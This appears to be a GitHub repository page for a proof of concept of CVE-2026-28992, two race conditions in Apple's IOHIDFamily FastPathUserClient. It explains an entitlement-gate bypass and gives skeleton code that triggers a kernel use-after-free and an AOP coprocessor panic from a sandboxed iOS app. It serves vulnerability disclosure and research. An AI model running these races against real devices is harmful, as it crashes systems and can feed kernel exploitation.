zeroxjf/CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions
GitHub: zeroxjf/CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions
针对 Apple IOHIDFamily FastPathUserClient 竞态条件漏洞(CVE-2026-28992)的 PoC,可在无需 entitlement 的情况下从沙盒应用触发内核 UAF 或 AOP 协处理器崩溃。
Stars: 11 | Forks: 2
# CVE-2026-28992:IOHIDFamily FastPathUserClient 竞态条件
**[CVE-2026-28992](https://support.apple.com/en-us/127110)** | 作者:[Johnny Franks (@zeroxjf)](https://x.com/zeroxjf)
**这两个 PoC 都会导致内核崩溃 / 重启您的设备。请保存好您的工作。**
`IOHIDEventServiceFastPathUserClient`(IOHIDFamily kext)中存在两个竞态条件。无需任何 entitlement。在普通的应用沙盒内即可触发。
这两个攻击向量均使用 `IOServiceOpen(service, task, 2, &conn)`。sel0 开启门控检查的是 *调用者提供的* OSDictionary 中的 `FastPathHasEntitlement` 和 `FastPathMotionEventEntitlement`,而不是在 `initWithTask` 期间存储的实际 entitlement 标志 —— 任何沙盒应用都可以通过在输入结构体中包含这些键来通过门控检查。
## UAF — copyEvent 竞态
```
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
```
关闭路径(sel1)会释放 provider 状态并在没有加锁的情况下清除 `+0x109`。copyEvent(sel2)在每连接锁的保护下检查一个不同的标志(`+0x108`),然后调用到 provider。对同一个 provider 建立多个连接意味着 close 和 copyEvent 在共享的 provider 端对象上运行于不同的锁域中。
## AOP panic — 终止竞态
```
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
```
`mach_port_destroy` 会异步触发 `didTerminate` → close/teardown,这与其他连接上并发的 sel0 开启路径未同步。这也会使受 SPU 支持的 provider 的邮箱饱和,从而触发 AOP 看门狗超时。
## 目录
| 路径 | 描述 |
|------|-------------|
| `UAFPoc/` | iOS 应用 — 触发 UAF(在 A17+ 上触发 MTE 标签错误,在 A17 之前的设备上触发数据中止) |
| `AOPPanicPoc/` | iOS 应用 — 通过 SPU 邮箱饱和触发 AOP 协处理器崩溃 |
| `panic-logs/mte-tag-fault.ips` | 内核标签检查错误 — iPhone 17 Pro Max (A19 Pro, MTE+PAC) |
| `panic-logs/ipad-data-abort.ips` | 内核数据中止 — iPad Pro 12.9" 2nd gen (A10X, 无 MTE/PAC) |
| `panic-logs/aop-panic.ips` | AOP 协处理器崩溃 — iPhone 17 Pro Max (SPU 邮箱溢出) |
标签:0day, AOP, CVE-2026-28992, CVE监控, Entitlements, IOHIDFamily, iOS安全, Kernel Exploit, macOS安全, PoC, Race Condition, Sandbox Escape, UAF, Use-After-Free, Web报告查看器, XNU, 内核漏洞, 协处理器, 子域名枚举, 提权, 暴力破解, 权限绕过, 沙箱逃逸, 漏洞分析, 竞态条件, 系统安全, 路径探测